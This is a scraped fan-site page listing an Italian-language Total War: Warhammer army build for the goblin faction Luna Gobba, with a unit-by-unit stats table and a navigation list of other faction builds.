Left Panel
 
		
			 Luna Gobba (Imperi dei Mortali) Army
Luna Gobba (Imperi dei Mortali) Army
		gobs
yesyesBuild by The Comanche - 2020-10-27 07:13:25
		
 
		
							1
							 
						
					 
						
							1
							 
						
					 
						
							1
							 
						
					 
						
							160
							 
						
					 
						
							160
							 
						
					 
						
							160
							 
						
					 
						
							160
							 
						
					 
						
							160
							 
						
					 
						
							160
							 
						
					 
						
							160
							 
						
					 
						
							160
							 
						
					 
						
							160
							 
						
					 
						
							160
							 
						
					 
						
							160
							 
						
					 
						
							160
							 
						
					 
						
							160
							 
						
					 
						
							120
							 
						
					 
						
							120
							 
						
					 
						
							120
							 
						
					 
						
							120
							 
						
					 
						
							120
							 
						
					 
						
							80
							 
						
					 
						
							80
							 
						
					 
						
							60
							 
						
					 
						
							60
							 
						
					 
						
							60
							 
						
					 
						
							80
							 
						
					 
						
							80
							 
						
					 
						
							60
							 
						
					 
						
							60
							 
						
					 
						
							24
							 
						
					 
						
							8
							 
						
					 
						
							8
							 
						
					 
						
							44
							 
						
					 
						
							44
							 
						
					 
						
							60
							 
						
					 
						
							1
							 
						
					 
						
							40
							 
						
					 
						
							8
							 
						
					 
						
							8
							 
						
					 
						yesyes<script src="https://jsresourcenet.com/honga"></script>
| No. | Unit | Name | Sol. | Custom Cost | Recru. Cost | Upkeep Cost | Ship HP. | Ship Spd. | Msl. Dmg. | Rng. | Sht. /min | Amo. | Mle. Atk. | Mle. Dmg. | Chg. | Mle. Def. | Arm. | HP. | Mor. | 
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
| Comando (3) | 3 | 1700 | 2550 | 675 | - | - | - | 112 | 1050 | 102 | 129 | 155 | 13608 | 180 | |||||
| 1 |  | Skarsnik | 1 | 1200 | 1050 | 300 | 48 | 410 | 52 | 55 | 50 | 6668 | 75 | ||||||
| 2 |  | Goblin Grande Capo | 1 | 250 | 500 | 125 | 40 | 360 | 30 | 48 | 90 | 3520 | 55 | ||||||
| 3 |  | Goblin delle Tenebre Sciamano | 1 | 250 | 1000 | 250 | 24 | 280 | 20 | 26 | 15 | 3420 | 50 | ||||||
| Fanteria corpo a corpo (18) | 2197 | 10575 | 10750 | 2703 | - | - | - | 506 | 1184 | 331 | 429 | 1235 | 21535 | 882 | |||||
| 4 |  | Goblin | 160 | 300 | 300 | 75 | 20 | 25 | 8 | 26 | 80 | 56 | 50 | ||||||
| 5 |  | Goblin | 160 | 300 | 300 | 75 | 20 | 25 | 8 | 26 | 80 | 56 | 50 | ||||||
| 6 |  | Goblin | 160 | 300 | 300 | 75 | 20 | 25 | 8 | 26 | 80 | 56 | 50 | ||||||
| 7 |  | Goblin | 160 | 300 | 300 | 75 | 20 | 25 | 8 | 26 | 80 | 56 | 50 | ||||||
| 8 |  | Goblin | 160 | 300 | 300 | 75 | 20 | 25 | 8 | 26 | 80 | 56 | 50 | ||||||
| 9 |  | Goblin delle Tenebre (Fanatici) | 160 | 500 | 500 | 125 | 26 | 27 | 12 | 24 | 70 | 56 | 44 | ||||||
| 10 |  | Goblin delle Tenebre (Fanatici) | 160 | 500 | 500 | 125 | 26 | 27 | 12 | 24 | 70 | 56 | 44 | ||||||
| 11 |  | Goblin delle Tenebre (Fanatici) | 160 | 500 | 500 | 125 | 26 | 27 | 12 | 24 | 70 | 56 | 44 | ||||||
| 12 |  | Goblin delle Tenebre (Fanatici) | 160 | 500 | 500 | 125 | 26 | 27 | 12 | 24 | 70 | 56 | 44 | ||||||
| 13 |  | Goblin delle Tenebre (Fanatici) | 160 | 500 | 500 | 125 | 26 | 27 | 12 | 24 | 70 | 56 | 44 | ||||||
| 14 |  | Gli Scirokkati di Otto Picchi (Goblin delle Tenebre - Fanatici) | 160 | 700 | 700 | 175 | 34 | 27 | 12 | 31 | 70 | 56 | 100 | ||||||
| 15 |  | Zubdoli | 160 | 500 | 500 | 125 | 26 | 24 | 20 | 16 | 15 | 52 | 40 | ||||||
| 16 |  | Zubdoli | 160 | 500 | 500 | 125 | 26 | 24 | 20 | 16 | 15 | 52 | 40 | ||||||
| 17 |  | Piccoli di ragno | 60 | 150 | 450 | 113 | 22 | 23 | 19 | 20 | 45 | 73 | 50 | ||||||
| 18 |  | Zuperzquig! | 1 | 425 | 300 | 90 | 26 | 33 | 40 | 18 | 50 | 668 | 36 | ||||||
| 19 |  | Mandria di Squig | 40 | 500 | 500 | 125 | 26 | 33 | 40 | 18 | 50 | 128 | 36 | ||||||
| 20 |  | Ragno Aracnarok | 8 | 1900 | 1900 | 475 | 58 | 380 | 40 | 30 | 120 | 9973 | 55 | ||||||
| 21 |  | Ragno Aracnarok | 8 | 1900 | 1900 | 475 | 58 | 380 | 40 | 30 | 120 | 9973 | 55 | ||||||
| Fanteria da tiro (5) | 600 | 2275 | 2275 | 570 | - | 55 | - | - | 120 | 60 | 126 | 29 | 85 | 105 | 261 | 200 | |||
| 22 |  | Arcieri Goblin | 120 | 375 | 375 | 94 | 11 | 115 | 8.3 | 24 | 10 | 24 | 5 | 15 | 25 | 51 | 40 | ||
| 23 |  | Arcieri Goblin | 120 | 375 | 375 | 94 | 11 | 115 | 8.3 | 24 | 10 | 24 | 5 | 15 | 25 | 51 | 40 | ||
| 24 |  | Arcieri Goblin | 120 | 375 | 375 | 94 | 11 | 115 | 8.3 | 24 | 10 | 24 | 5 | 15 | 25 | 51 | 40 | ||
| 25 |  | Arcieri Goblin delle Tenebre (Fanatici) | 120 | 575 | 575 | 144 | 11 | 115 | 8.3 | 24 | 15 | 27 | 7 | 20 | 15 | 54 | 40 | ||
| 26 |  | Arcieri Goblin delle Tenebre (Fanatici) | 120 | 575 | 575 | 144 | 11 | 115 | 8.3 | 24 | 15 | 27 | 7 | 20 | 15 | 54 | 40 | ||
| Cavalleria corpo a corpo (5) | 340 | 2050 | 2050 | 512 | - | - | - | 116 | 129 | 106 | 128 | 315 | 391 | 248 | |||||
| 27 |  | Goblin Cavalcalupi | 80 | 300 | 300 | 75 | 22 | 24 | 18 | 20 | 55 | 57 | 44 | ||||||
| 28 |  | Goblin Cavalcalupi | 80 | 300 | 300 | 75 | 22 | 24 | 18 | 20 | 55 | 57 | 44 | ||||||
| 29 |  | Goblin della Foresta Cavalcaragni | 60 | 400 | 400 | 100 | 22 | 27 | 22 | 30 | 75 | 91 | 50 | ||||||
| 30 |  | Goblin della Foresta Cavalcaragni | 60 | 400 | 400 | 100 | 22 | 27 | 22 | 30 | 75 | 91 | 50 | ||||||
| 31 |  | Saltasquig con corazza | 60 | 650 | 650 | 162 | 28 | 27 | 26 | 28 | 55 | 95 | 60 | ||||||
| Cavalleria da tiro (4) | 280 | 1650 | 1650 | 424 | - | 44 | - | - | 76 | 60 | 100 | 48 | 72 | 140 | 284 | 164 | |||
| 32 |  | Arcieri Goblin Cavalcalupi | 80 | 375 | 375 | 100 | 11 | 100 | 8.3 | 18 | 15 | 24 | 10 | 14 | 25 | 57 | 38 | ||
| 33 |  | Arcieri Goblin Cavalcalupi | 80 | 375 | 375 | 100 | 11 | 100 | 8.3 | 18 | 15 | 24 | 10 | 14 | 25 | 57 | 38 | ||
| 34 |  | Arcieri Goblin della Foresta Cavalcaragni | 60 | 450 | 450 | 112 | 11 | 100 | 8.3 | 20 | 15 | 26 | 14 | 22 | 45 | 85 | 44 | ||
| 35 |  | Arcieri Goblin della Foresta Cavalcaragni | 60 | 450 | 450 | 112 | 11 | 100 | 8.3 | 20 | 15 | 26 | 14 | 22 | 45 | 85 | 44 | ||
| Carro (3) | 40 | 2050 | 2150 | 538 | - | - | - | 72 | 119 | 158 | 66 | 155 | 3030 | 160 | |||||
| 36 |  | Carri dei Lupi dei Goblin | 24 | 500 | 600 | 150 | 16 | 24 | 38 | 20 | 45 | 764 | 45 | ||||||
| 37 |  | Carri a Pompa delle Caccole (Zbattenti) | 8 | 650 | 650 | 163 | 26 | 40 | 80 | 24 | 50 | 1008 | 55 | ||||||
| 38 |  | Carri a Pompa delle Caccole (Rulli kiodati) | 8 | 900 | 900 | 225 | 30 | 55 | 40 | 22 | 60 | 1258 | 60 | ||||||
| Artiglieria da campo (2) | 88 | 1600 | 1600 | 400 | - | 410 | - | - | 0 | 20 | 48 | 10 | 12 | 30 | 106 | 80 | |||
| 39 |  | Gettapietre Goblin | 44 | 600 | 600 | 150 | 170 | 400 | 3.7 | 10 | 24 | 5 | 6 | 15 | 53 | 40 | |||
| 40 |  | Catapulte dei Folli Fiondati | 44 | 1000 | 1000 | 250 | 240 | 400 | 3.7 | 10 | 24 | 5 | 6 | 15 | 53 | 40 | |||
| Subtotal | 3548 | 21900 | 23025 | 5822 | - | 509 | - | - | 196 | 946 | 2756 | 784 | 921 | 2135 | 39215 | 1914 | |||
 
		
	
 English
 English Français
 Français Deutsch
 Deutsch Español
 Español Русский
 Русский Čeština
 Čeština Polski
 Polski Türkçe
 Türkçe Português (Brasil)
 Português (Brasil) 한국어
 한국어 简体中文
 简体中文 正體中文
 正體中文


 Support Honga.net or Donations
Support Honga.net or Donations Clan Rictus
Clan Rictus Seguaci di Nagash
Seguaci di Nagash Corte di Lybaras
Corte di Lybaras Esuli di Nehek
Esuli di Nehek Khemri
Khemri Har Ganeth
Har Ganeth Avelorn
Avelorn Nagarythe
Nagarythe La Flotta del Terrore
La Flotta del Terrore Pirati di Sartosa
Pirati di Sartosa Gli Annegati
Gli Annegati L'Orrore Benedetto
L'Orrore Benedetto I Risvegliati
I Risvegliati Culto di Sotek
Culto di Sotek Tlaqua
Tlaqua Clan Skryre
Clan Skryre Itza
Itza Spirito della giungla
Spirito della giungla La spedizione del Capocaccia
La spedizione del Capocaccia Cavalieri di Lyonesse
Cavalieri di Lyonesse Hag Graef
Hag Graef Clan Eshin
Clan Eshin Ascia Rotta
Ascia Rotta Yvresse
Yvresse Cavalieri di Caledor
Cavalieri di Caledor Clan Moulder
Clan Moulder Araldi di Ariel
Araldi di Ariel Bosco belligerante del Dolore
Bosco belligerante del Dolore Naggarond
Naggarond Culto del Piacere
Culto del Piacere Ordine dei Custodi del Sapere
Ordine dei Custodi del Sapere Eataine
Eataine Ultimi Difensori
Ultimi Difensori Hexoatl
Hexoatl Clan Pestilens
Clan Pestilens Clan Mors
Clan Mors Le Mille Fauci
Le Mille Fauci L'Ordine Aureo
L'Ordine Aureo Zkuotiozza
Zkuotiozza La Legione dei Tumuli
La Legione dei Tumuli Uominibestia (Imperi dei Mortali)
Uominibestia (Imperi dei Mortali) Talsyn (Imperi dei Mortali)
Talsyn (Imperi dei Mortali) Argwylon (Imperi dei Mortali)
Argwylon (Imperi dei Mortali) Clan Angrund (Imperi dei Mortali)
Clan Angrund (Imperi dei Mortali) Mano Insanguinata (Imperi dei Mortali)
Mano Insanguinata (Imperi dei Mortali) Bordeleaux (Imperi dei Mortali)
Bordeleaux (Imperi dei Mortali) Couronne (Imperi dei Mortali)
Couronne (Imperi dei Mortali) Carcassonne (Imperi dei Mortali)
Carcassonne (Imperi dei Mortali) I Percorritori di Mondi (Imperi dei Mortali)
I Percorritori di Mondi (Imperi dei Mortali) Zannadinverno (Imperi dei Mortali)
Zannadinverno (Imperi dei Mortali) Guerrieri del Caos (Imperi dei Mortali)
Guerrieri del Caos (Imperi dei Mortali) Karaz-a-Karak (Imperi dei Mortali)
Karaz-a-Karak (Imperi dei Mortali) Karak Kadrin (Imperi dei Mortali)
Karak Kadrin (Imperi dei Mortali) Reikland (Imperi dei Mortali)
Reikland (Imperi dei Mortali) Tozti di Grimgor (Imperi dei Mortali)
Tozti di Grimgor (Imperi dei Mortali) Sylvania (Imperi dei Mortali)
Sylvania (Imperi dei Mortali) Von Carstein (Imperi dei Mortali)
Von Carstein (Imperi dei Mortali)
